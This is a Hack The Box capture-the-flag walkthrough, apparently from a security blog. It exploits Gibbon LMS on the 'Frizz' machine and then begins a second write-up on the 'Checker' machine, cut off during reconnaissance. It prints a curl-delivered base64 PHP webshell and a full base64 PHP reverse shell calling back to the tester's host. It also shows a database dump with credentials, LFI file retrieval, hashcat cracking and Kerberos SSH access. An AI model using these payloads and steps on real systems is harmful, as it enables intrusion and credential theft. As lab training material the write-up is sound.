Gibbon version <code>25.0.00</code> is an <strong>unauthenticated Arbitrary File Write vulnerability</strong>. The endpoint <code>rubrics_visualise_saveAjax.phps</code> does not require authentication, allowing an attacker to create PHP files. This, in turn, enables <strong>unauthenticated Remote Code Execution (RCE)</strong> <a href="https://herolab.usd.de/security-advisories/usd-2023-0025/">CVE-2023-45878</a>. After reading the PoC, I crafted this payload to generate a PHP file that can allow me execute remote code</p> <pre><code>curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \ -H "Host: frizzdc.frizz.htb" \ --data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4K" \ --data-urlencode "path=shell.php" \ --data-urlencode "gibbonPersonID=0000000001" </code></pre> <p>And got this response <code>shell.php</code> <img src="4.png" alt="" /> I'm inside a webservice now, I tried to get a reverse shell using Powershell payloads from <a href="revshells.com">revshells</a> but I failed. And then I tried to update the php code I send with the post request using curl by writing a reverse shell to the file shell.php</p> <pre><code>curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \ -H "Host: frizzdc.frizz.htb" \ --data-urlencode "img=image/png;asdf,PD9waHAKLy8gQ29weXJpZ2h0IChjKSAyMDIwIEl2YW4gU2luY2VrCi8vIHYyLjMKLy8gUmVxdWlyZXMgUEhQIHY1LjAuMCBvciBncmVhdGVyLgovLyBXb3JrcyBvbiBMaW51eCBPUywgbWFjT1MsIGFuZCBXaW5kb3dzIE9TLgovLyBTZWUgdGhlIG9yaWdpbmFsIHNjcmlwdCBhdCBodHRwczovL2dpdGh1Yi5jb20vcGVudGVzdG1vbmtleS9waHAtcmV2ZXJzZS1zaGVsbC4KY2xhc3MgU2hlbGwgewogICAgcHJpdmF0ZSAkYWRkciAgPSBudWxsOwogICAgcHJpdmF0ZSAkcG9ydCAgPSBudWxsOwogICAgcHJpdmF0ZSAkb3MgICAgPSBudWxsOwogICAgcHJpdmF0ZSAkc2hlbGwgPSBudWxsOwogICAgcHJpdmF0ZSAkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgKICAgICAgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwgLy8gc2hlbGwgY2FuIHJlYWQgZnJvbSBTVERJTgogICAgICAgIDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLCAvLyBzaGVsbCBjYW4gd3JpdGUgdG8gU1RET1VUCiAgICAgICAgMiA9PiBhcnJheSgncGlwZScsICd3JykgIC8vIHNoZWxsIGNhbiB3cml0ZSB0byBTVERFUlIKICAgICk7CiAgICBwcml2YXRlICRidWZmZXIgID0gMTAyNDsgICAgLy8gcmVhZC93cml0ZSBidWZmZXIgc2l6ZQogICAgcHJpdmF0ZSAkY2xlbiAgICA9IDA7ICAgICAgIC8vIGNvbW1hbmQgbGVuZ3RoCiAgICBwcml2YXRlICRlcnJvciAgID0gZmFsc2U7ICAgLy8gc3RyZWFtIHJlYWQvd3JpdGUgZXJyb3IKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkYWRkciwgJHBvcnQpIHsKICAgICAgICAkdGhpcy0+YWRkciA9ICRhZGRyOwogICAgICAgICR0aGlzLT5wb3J0ID0gJHBvcnQ7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGRldGVjdCgpIHsKICAgICAgICAkZGV0ZWN0ZWQgPSB0cnVlOwogICAgICAgIGlmIChzdHJpcG9zKFBIUF9PUywgJ0xJTlVYJykgIT09IGZhbHNlKSB7IC8vIHNhbWUgZm9yIG1hY09TCiAgICAgICAgICAgICR0aGlzLT5vcyAgICA9ICdMSU5VWCc7CiAgICAgICAgICAgICR0aGlzLT5zaGVsbCA9ICdwb3dlcnNoZWxsJzsKICAgICAgICB9IGVsc2UgaWYgKHN0cmlwb3MoUEhQX09TLCAnV0lOMzInKSAhPT0gZmFsc2UgfHwgc3RyaXBvcyhQSFBfT1MsICdXSU5OVCcpICE9PSBmYWxzZSB8fCBzdHJpcG9zKFBIUF9PUywgJ1dJTkRPV1MnKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHRoaXMtPm9zICAgID0gJ1dJTkRPV1MnOwogICAgICAgICAgICAkdGhpcy0+c2hlbGwgPSAnY21kLmV4ZSc7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGRldGVjdGVkID0gZmFsc2U7CiAgICAgICAgICAgIGVjaG8gIlNZU19FUlJPUjogVW5kZXJseWluZyBvcGVyYXRpbmcgc3lzdGVtIGlzIG5vdCBzdXBwb3J0ZWQsIHNjcmlwdCB3aWxsIG5vdyBleGl0Li4uXG4iOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRldGVjdGVkOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBkYWVtb25pemUoKSB7CiAgICAgICAgJGV4aXQgPSBmYWxzZTsKICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKSB7CiAgICAgICAgICAgIGVjaG8gIkRBRU1PTklaRTogcGNudGxfZm9yaygpIGRvZXMgbm90IGV4aXN0cywgbW92aW5nIG9uLi4uXG4iOwogICAgICAgIH0gZWxzZSBpZiAoKCRwaWQgPSBAcGNudGxfZm9yaygpKSA8IDApIHsKICAgICAgICAgICAgZWNobyAiREFFTU9OSVpFOiBDYW5ub3QgZm9yayBvZmYgdGhlIHBhcmVudCBwcm9jZXNzLCBtb3Zpbmcgb24uLi5cbiI7CiAgICAgICAgfSBlbHNlIGlmICgkcGlkID4gMCkgewogICAgICAgICAgICAkZXhpdCA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gIkRBRU1PTklaRTogQ2hpbGQgcHJvY2VzcyBmb3JrZWQgb2ZmIHN1Y2Nlc3NmdWxseSwgcGFyZW50IHByb2Nlc3Mgd2lsbCBub3cgZXhpdC4uLlxuIjsKICAgICAgICB9IGVsc2UgaWYgKHBvc2l4X3NldHNpZCgpIDwgMCkgewogICAgICAgICAgICAvLyBvbmNlIGRhZW1vbml6ZWQgeW91IHdpbGwgYWN0dWFsbHkgbm8gbG9uZ2VyIHNlZSB0aGUgc2NyaXB0J3MgZHVtcAogICAgICAgICAgICBlY2hvICJEQUVNT05JWkU6IEZvcmtlZCBvZmYgdGhlIHBhcmVudCBwcm9jZXNzIGJ1dCBjYW5ub3Qgc2V0IGEgbmV3IFNJRCwgbW92aW5nIG9uIGFzIGFuIG9ycGhhbi4uLlxuIjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICJEQUVNT05JWkU6IENvbXBsZXRlZCBzdWNjZXNzZnVsbHkhXG4iOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGV4aXQ7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHNldHRpbmdzKCkgewogICAgICAgIEBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgICAgICAgQHNldF90aW1lX2xpbWl0KDApOyAvLyBkbyBub3QgaW1wb3NlIHRoZSBzY3JpcHQgZXhlY3V0aW9uIHRpbWUgbGltaXQKICAgICAgICBAdW1hc2soMCk7IC8vIHNldCB0aGUgZmlsZS9kaXJlY3RvcnkgcGVybWlzc2lvbnMgLSA2NjYgZm9yIGZpbGVzIGFuZCA3NzcgZm9yIGRpcmVjdG9yaWVzCiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGR1bXAoJGRhdGEpIHsKICAgICAgICAkZGF0YSA9IHN0cl9yZXBsYWNlKCc8JywgJyZsdDsnLCAkZGF0YSk7CiAgICAgICAgJGRhdGEgPSBzdHJfcmVwbGFjZSgnPicsICcmZ3Q7JywgJGRhdGEpOwogICAgICAgIGVjaG8gJGRhdGE7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHJlYWQoJHN0cmVhbSwgJG5hbWUsICRidWZmZXIpIHsKICAgICAgICBpZiAoKCRkYXRhID0gQGZyZWFkKCRzdHJlYW0sICRidWZmZXIpKSA9PT0gZmFsc2UpIHsgLy8gc3VwcHJlc3MgYW4gZXJyb3Igd2hlbiByZWFkaW5nIGZyb20gYSBjbG9zZWQgYmxvY2tpbmcgc3RyZWFtCiAgICAgICAgICAgICR0aGlzLT5lcnJvciA9IHRydWU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHNldCBnbG9iYWwgZXJyb3IgZmxhZwogICAgICAgICAgICBlY2hvICJTVFJNX0VSUk9SOiBDYW5ub3QgcmVhZCBmcm9tICR7bmFtZX0sIHNjcmlwdCB3aWxsIG5vdyBleGl0Li4uXG4iOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRhdGE7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHdyaXRlKCRzdHJlYW0sICRuYW1lLCAkZGF0YSkgewogICAgICAgIGlmICgoJGJ5dGVzID0gQGZ3cml0ZSgkc3RyZWFtLCAkZGF0YSkpID09PSBmYWxzZSkgeyAvLyBzdXBwcmVzcyBhbiBlcnJvciB3aGVuIHdyaXRpbmcgdG8gYSBjbG9zZWQgYmxvY2tpbmcgc3RyZWFtCiAgICAgICAgICAgICR0aGlzLT5lcnJvciA9IHRydWU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHNldCBnbG9iYWwgZXJyb3IgZmxhZwogICAgICAgICAgICBlY2hvICJTVFJNX0VSUk9SOiBDYW5ub3Qgd3JpdGUgdG8gJHtuYW1lfSwgc2NyaXB0IHdpbGwgbm93IGV4aXQuLi5cbiI7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYnl0ZXM7CiAgICB9CiAgICAvLyByZWFkL3dyaXRlIG1ldGhvZCBmb3Igbm9uLWJsb2NraW5nIHN0cmVhbXMKICAgIHByaXZhdGUgZnVuY3Rpb24gcncoJGlucHV0LCAkb3V0cHV0LCAkaW5hbWUsICRvbmFtZSkgewogICAgICAgIHdoaWxlICgoJGRhdGEgPSAkdGhpcy0+cmVhZCgkaW5wdXQsICRpbmFtZSwgJHRoaXMtPmJ1ZmZlcikpICYmICR0aGlzLT53cml0ZSgkb3V0cHV0LCAkb25hbWUsICRkYXRhKSkgewogICAgICAgICAgICBpZiAoJHRoaXMtPm9zID09PSAnV0lORE9XUycgJiYgJG9uYW1lID09PSAnU1RESU4nKSB7ICR0aGlzLT5jbGVuICs9IHN0cmxlbigkZGF0YSk7IH0gLy8gY2FsY3VsYXRlIHRoZSBjb21tYW5kIGxlbmd0aAogICAgICAgICAgICAkdGhpcy0+ZHVtcCgkZGF0YSk7IC8vIHNjcmlwdCdzIGR1bXAKICAgICAgICB9CiAgICB9CiAgICAvLyByZWFkL3dyaXRlIG1ldGhvZCBmb3IgYmxvY2tpbmcgc3RyZWFtcyAoZS5nLiBmb3IgU1RET1VUIGFuZCBTVERFUlIgb24gV2luZG93cyBPUykKICAgIC8vIHdlIG11c3QgcmVhZCB0aGUgZXhhY3QgYnl0ZSBsZW5ndGggZnJvbSBhIHN0cmVhbSBhbmQgbm90IGEgc2luZ2xlIGJ5dGUgbW9yZQogICAgcHJpdmF0ZSBmdW5jdGlvbiBicncoJGlucHV0LCAkb3V0cHV0LCAkaW5hbWUsICRvbmFtZSkgewogICAgICAgICRmc3RhdCA9IGZzdGF0KCRpbnB1dCk7CiAgICAgICAgJHNpemUgPSAkZnN0YXRbJ3NpemUnXTsKICAgICAgICBpZiAoJHRoaXMtPm9zID09PSAnV0lORE9XUycgJiYgJGluYW1lID09PSAnU1RET1VUJyAmJiAkdGhpcy0+Y2xlbikgewogICAgICAgICAgICAvLyBmb3Igc29tZSByZWFzb24gV2luZG93cyBPUyBwaXBlcyBTVERJTiBpbnRvIFNURE9VVAogICAgICAgICAgICAvLyB3ZSBkbyBub3QgbGlrZSB0aGF0CiAgICAgICAgICAgIC8vIHdlIG5lZWQgdG8gZGlzY2FyZCB0aGUgZGF0YSBmcm9tIHRoZSBzdHJlYW0KICAgICAgICAgICAgd2hpbGUgKCR0aGlzLT5jbGVuID4gMCAmJiAoJGJ5dGVzID0gJHRoaXMtPmNsZW4gPj0gJHRoaXMtPmJ1ZmZlciA/ICR0aGlzLT5idWZmZXIgOiAkdGhpcy0+Y2xlbikgJiYgJHRoaXMtPnJlYWQoJGlucHV0LCAkaW5hbWUsICRieXRlcykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5jbGVuIC09ICRieXRlczsKICAgICAgICAgICAgICAgICRzaXplIC09ICRieXRlczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICB3aGlsZSAoJHNpemUgPiAwICYmICgkYnl0ZXMgPSAkc2l6ZSA+PSAkdGhpcy0+YnVmZmVyID8gJHRoaXMtPmJ1ZmZlciA6ICRzaXplKSAmJiAoJGRhdGEgPSAkdGhpcy0+cmVhZCgkaW5wdXQsICRpbmFtZSwgJGJ5dGVzKSkgJiYgJHRoaXMtPndyaXRlKCRvdXRwdXQsICRvbmFtZSwgJGRhdGEpKSB7CiAgICAgICAgICAgICRzaXplIC09ICRieXRlczsKICAgICAgICAgICAgJHRoaXMtPmR1bXAoJGRhdGEpOyAvLyBzY3JpcHQncyBkdW1wCiAgICAgICAgfQogICAgfQogICAgcHVibGljIGZ1bmN0aW9uIHJ1bigpIHsKICAgICAgICBpZiAoJHRoaXMtPmRldGVjdCgpICYmICEkdGhpcy0+ZGFlbW9uaXplKCkpIHsKICAgICAgICAgICAgJHRoaXMtPnNldHRpbmdzKCk7CgogICAgICAgICAgICAvLyAtLS0tLSBTT0NLRVQgQkVHSU4gLS0tLS0KICAgICAgICAgICAgJHNvY2tldCA9IEBmc29ja29wZW4oJHRoaXMtPmFkZHIsICR0aGlzLT5wb3J0LCAkZXJybm8sICRlcnJzdHIsIDMwKTsKICAgICAgICAgICAgaWYgKCEkc29ja2V0KSB7CiAgICAgICAgICAgICAgICBlY2hvICJTT0NfRVJST1I6IHskZXJybm99OiB7JGVycnN0cn1cbiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrZXQsIGZhbHNlKTsgLy8gc2V0IHRoZSBzb2NrZXQgc3RyZWFtIHRvIG5vbi1ibG9ja2luZyBtb2RlIHwgcmV0dXJucyAndHJ1ZScgb24gV2luZG93cyBPUwoKICAgICAgICAgICAgICAgIC8vIC0tLS0tIFNIRUxMIEJFR0lOIC0tLS0tCiAgICAgICAgICAgICAgICAkcHJvY2VzcyA9IEBwcm9jX29wZW4oJHRoaXMtPnNoZWxsLCAkdGhpcy0+ZGVzY3JpcHRvcnNwZWMsICRwaXBlcywgbnVsbCwgbnVsbCk7CiAgICAgICAgICAgICAgICBpZiAoISRwcm9jZXNzKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiUFJPQ19FUlJPUjogQ2Fubm90IHN0YXJ0IHRoZSBzaGVsbFxuIjsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHBpcGVzIGFzICRwaXBlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGUsIGZhbHNlKTsgLy8gc2V0IHRoZSBzaGVsbCBzdHJlYW1zIHRvIG5vbi1ibG9ja2luZyBtb2RlIHwgcmV0dXJucyAnZmFsc2UnIG9uIFdpbmRvd3MgT1MKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIC8vIC0tLS0tIFdPUksgQkVHSU4gLS0tLS0KICAgICAgICAgICAgICAgICAgICAkc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCRwcm9jZXNzKTsKICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCRzb2NrZXQsICJTT0NLRVQ6IFNoZWxsIGhhcyBjb25uZWN0ZWQhIFBJRDogIiAuICRzdGF0dXNbJ3BpZCddIC4gIlxuIik7CiAgICAgICAgICAgICAgICAgICAgZG8gewoJCQkJCQkkc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCRwcm9jZXNzKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZlb2YoJHNvY2tldCkpIHsgLy8gY2hlY2sgZm9yIGVuZC1vZi1maWxlIG9uIFNPQ0tFVAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiU09DX0VSUk9SOiBTaGVsbCBjb25uZWN0aW9uIGhhcyBiZWVuIHRlcm1pbmF0ZWRcbiI7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGZlb2YoJHBpcGVzWzFdKSB8fCAhJHN0YXR1c1sncnVubmluZyddKSB7ICAgICAgICAgICAgICAgICAvLyBjaGVjayBmb3IgZW5kLW9mLWZpbGUgb24gU1RET1VUIG9yIGlmIHByb2Nlc3MgaXMgc3RpbGwgcnVubmluZwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiUFJPQ19FUlJPUjogU2hlbGwgcHJvY2VzcyBoYXMgYmVlbiB0ZXJtaW5hdGVkXG4iOyAgIGJyZWFrOyAvLyBmZW9mKCkgZG9lcyBub3Qgd29yayB3aXRoIGJsb2NraW5nIHN0cmVhbXMKICAgICAgICAgICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gdXNlIHByb2NfZ2V0X3N0YXR1cygpIGluc3RlYWQKICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmVhbXMgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdyZWFkJyAgID0+IGFycmF5KCRzb2NrZXQsICRwaXBlc1sxXSwgJHBpcGVzWzJdKSwgLy8gU09DS0VUIHwgU1RET1VUIHwgU1RERVJSCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnd3JpdGUnICA9PiBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2V4Y2VwdCcgPT4gbnVsbAogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICAgICAkbnVtX2NoYW5nZWRfc3RyZWFtcyA9IEBzdHJlYW1fc2VsZWN0KCRzdHJlYW1zWydyZWFkJ10sICRzdHJlYW1zWyd3cml0ZSddLCAkc3RyZWFtc1snZXhjZXB0J10sIDApOyAvLyB3YWl0IGZvciBzdHJlYW0gY2hhbmdlcyB8IHdpbGwgbm90IHdhaXQgb24gV2luZG93cyBPUwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG51bV9jaGFuZ2VkX3N0cmVhbXMgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJTVFJNX0VSUk9SOiBzdHJlYW1fc2VsZWN0KCkgZmFpbGVkXG4iOyBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmICgkbnVtX2NoYW5nZWRfc3RyZWFtcyA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+b3MgPT09ICdMSU5VWCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHNvY2tldCAgLCAkc3RyZWFtc1sncmVhZCddKSkgeyAkdGhpcy0+cncoJHNvY2tldCAgLCAkcGlwZXNbMF0sICdTT0NLRVQnLCAnU1RESU4nICk7IH0gLy8gcmVhZCBmcm9tIFNPQ0tFVCBhbmQgd3JpdGUgdG8gU1RESU4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkc3RyZWFtc1sncmVhZCddKSkgeyAkdGhpcy0+cncoJHBpcGVzWzJdLCAkc29ja2V0ICAsICdTVERFUlInLCAnU09DS0VUJyk7IH0gLy8gcmVhZCBmcm9tIFNUREVSUiBhbmQgd3JpdGUgdG8gU09DS0VUCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHN0cmVhbXNbJ3JlYWQnXSkpIHsgJHRoaXMtPnJ3KCRwaXBlc1sxXSwgJHNvY2tldCAgLCAnU1RET1VUJywgJ1NPQ0tFVCcpOyB9IC8vIHJlYWQgZnJvbSBTVERPVVQgYW5kIHdyaXRlIHRvIFNPQ0tFVAogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmICgkdGhpcy0+b3MgPT09ICdXSU5ET1dTJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIG9yZGVyIGlzIGltcG9ydGFudAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkc29ja2V0LCAkc3RyZWFtc1sncmVhZCddKS8qLS0tLS0tKi8pIHsgJHRoaXMtPnJ3ICgkc29ja2V0ICAsICRwaXBlc1swXSwgJ1NPQ0tFVCcsICdTVERJTicgKTsgfSAvLyByZWFkIGZyb20gU09DS0VUIGFuZCB3cml0ZSB0byBTVERJTgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGZzdGF0ID0gZnN0YXQoJHBpcGVzWzJdKSkgJiYgJGZzdGF0WydzaXplJ10pIHsgJHRoaXMtPmJydygkcGlwZXNbMl0sICRzb2NrZXQgICwgJ1NUREVSUicsICdTT0NLRVQnKTsgfSAvLyByZWFkIGZyb20gU1RERVJSIGFuZCB3cml0ZSB0byBTT0NLRVQKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmc3RhdCA9IGZzdGF0KCRwaXBlc1sxXSkpICYmICRmc3RhdFsnc2l6ZSddKSB7ICR0aGlzLT5icncoJHBpcGVzWzFdLCAkc29ja2V0ICAsICdTVERPVVQnLCAnU09DS0VUJyk7IH0gLy8gcmVhZCBmcm9tIFNURE9VVCBhbmQgd3JpdGUgdG8gU09DS0VUCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICghJHRoaXMtPmVycm9yKTsKICAgICAgICAgICAgICAgICAgICAvLyAtLS0tLS0gV09SSyBFTkQgLS0tLS0tCgogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRwaXBlcyBhcyAkcGlwZSkgewogICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGUpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIC8vIC0tLS0tLSBTSEVMTCBFTkQgLS0tLS0tCgogICAgICAgICAgICAgICAgZmNsb3NlKCRzb2NrZXQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIC0tLS0tLSBTT0NLRVQgRU5EIC0tLS0tLQoKICAgICAgICB9CiAgICB9Cn0KZWNobyAnPHByZT4nOwovLyBjaGFuZ2UgdGhlIGhvc3QgYWRkcmVzcyBhbmQvb3IgcG9ydCBudW1iZXIgYXMgbmVjZXNzYXJ5CiRzaCA9IG5ldyBTaGVsbCgnMTAuMTAuMTYuNTYnLCA0NDQ0KTsKJHNoLT5ydW4oKTsKdW5zZXQoJHNoKTsKLy8gZ2FyYmFnZSBjb2xsZWN0b3IgcmVxdWlyZXMgUEhQIHY1LjMuMCBvciBncmVhdGVyCi8vIEBnY19jb2xsZWN0X2N5Y2xlcygpOwplY2hvICc8L3ByZT4nOwo/Pg==" \ --data-urlencode "path=shell.php" \ --data-urlencode "gibbonPersonID=0000000001" </code></pre> <p>I setup a listener on port 4444 and got a reverse shell <img src="image.png" alt="alt text" /> I needed to escape the webservice, by investigating the current directory I could see an interesting config.php file <img src="image-1.png" alt="alt text" /> it contained some credentials for gibbon database <img src="image-2.png" alt="alt text" /> so I tried to dump the database so I can transfer it to my local machine to analyze it</p> <pre><code>mysqldump --user=MrGibbonsDB --password=MisterGibbs!Parrot!?1 gibbon &gt; gibbon-backup.sql </code></pre> <p><img src="image-3.png" alt="alt text" /> To transfer it locally, I exploited CVE-2023-34598, a Local File Inclusion (LFI) vulnerability. This vulnerability allows including the content of various files within the installation folder in the server's response by manipulating the q parameter. To exploit this, I moved the SQL backup file into the Gibbon website's installation folder and accessed it through the browser. <img src="image-5.png" alt="alt text" /> I found these credentials inside the dumped database. <img src="image-6.png" alt="alt text" /> I needed to crack the password, so I checked Gibbon's source code to determine how the password is hashed <img src="7.png" alt="" /> Gibbon hashes passwords using SHA-256 with a prepended salt. To crack it, I used Hashcat with this command:</p> <pre><code>sudo hashcat -m 1420 -a 0 hash.txt /usr/share/wordlists/rockyou.txt </code></pre> <p>After the cracking process, I retrieved the plaintext password using</p> <pre><code>sudo hashcat --show -m 1420 thefrizz/hash.txt 067f746faca44f170c6cd9d7c4bdac6bc:342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23 </code></pre> <p>I tried to ssh using the username <code>f.frizzle</code></p> <pre><code>ssh f.frizzle@frizz.htb f.frizzle@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive). </code></pre> <p>However, I encountered the following error, After some research, I the ssh server is using GSSAPI (Generic Security Services API) with Kerberos for SSO authentication.<br /> First of all, I updated <code>/etc/ssh/ssh_config</code> by enabling GSSAPI</p> <pre><code>GSSAPIAuthentication yes GSSAPIDelegateCredentials yes </code></pre> <p>And I had to create a <code>krb5.conf</code> file</p> <pre><code>[libdefaults] default_realm = FRIZZ.HTB [realms] FRIZZ.HTB = { kdc = frizzdc.frizz.htb admin_server = 10.10.11.60 } [domain_realm] .frizz.htb = FRIZZ.HTB frizz.htb = FRIZZ.HTB </code></pre> <p>To access SSH using SSO, I needed to obtain a <strong>Ticket-Granting Ticket (TGT)</strong>.<br /> I initiated a ticket request using the username <code>f.frizzle</code> and password <code>Jenni_Luvs_Magic23</code></p> <pre><code>kinit -V f.frizzle@FRIZZ.HTB </code></pre> <p>Output:</p> <pre><code>Using default cache: /tmp/krb5cc_1000 Using principal: f.frizzle@FRIZZ.HTB Password for f.frizzle@FRIZZ.HTB: Authenticated to Kerberos v5 </code></pre> <p>To verify the ticket, I used:</p> <pre><code>klist </code></pre> <p>Output:</p> <pre><code>Ticket cache: FILE:/tmp/krb5cc_1000 Default principal: f.frizzle@FRIZZ.HTB Valid starting Expires Service principal 03/28/2025 22:52:07 03/29/2025 08:52:07 krbtgt/FRIZZ.HTB@FRIZZ.HTB renew until 03/29/2025 22:51:34 </code></pre> <p>finnaly I tried to ssh again</p> <pre><code>ssh f.frizzle@frizz.htb </code></pre> <p><img src="image-9.png" alt="alt text" /></p> <p>And I got the user flag!</p> https://dahmanisec.me/posts/checker/checker/https://dahmanisec.me/posts/checker/checker/Hack The Box linux machine, hard difficultyMon, 24 Mar 2025 00:00:00 GMT<h1>User Flag</h1> <h2>Nmap scan</h2> <p>As always, we start our process with an nmap scan</p> <pre><code>sudo nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.56 </code></pre> <pre><code># Nmap 7.94SVN scan initiated Sun Feb 23 19:36:13 2025 as: nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.56 Warning: 10.10.11.56 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.56 Host is up (0.053s latency). Not shown: 64735 closed tcp ports (reset), 797 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA) |_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519) 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: 403 Forbidden 8080/tcp open http Apache httpd |_http-title: 403 Forbidden |_http-server-header: Apache Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5.0 OS details: Linux 5.0 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 110/tcp) HOP RTT ADDRESS 1 52.06 ms 10.10.14.1 2 52.15 ms 10.10.11.56 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Feb 23 19:37:06 2025 -- 1 IP address (1 host up) scanned in 53.87 seconds </code></pre> <p>The port 80 redirect us to checker.htb so I have added it to our <code>hosts</code>file</p> <pre><code>echo -e "10.10.11.56\t\tchecker.htb" | sudo tee -a /etc/hosts 10.10.11.56 checker.htb </code></pre> <p>I checked the open ports and found Book Stack hosted on port 80 and Teampass hosted on port 8080. We ca easily identified the Book Stack version running, which is 23.10.2. <img src="image1.png" alt="source" /> After some googling I found that this version is vulnerable to an SSRF vulnerabilty that can be exploited to read local files CVE-2023-6199, but we need to be authenticated <strong>remeber this we will use it later</strong>. So, I knew I had to start with teampass. <img src="2025-02-28_21-27.png" alt="" /> To identify the version of teampass I've downloaded the background image using wget</p> <pre><code>wget http://checker.htb:8080/includes/images/login_wall_5.jpg </code></pre> <p>then we can use stat to get the date when the image was modified:</p> <pre><code>stat login_wall_5.jpg File: login_wall_5.jpg Size: 1371352 Blocks: 2680 IO Block: 4096 regular file Device: 8,4 Inode: 5902787 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1000/ aboud) Gid: ( 1001/ aboud) Access: 2025-02-28 21:34:00.000000000 +0000 Modify: 2024-06-12 18:44:59.000000000 +0100 Change: 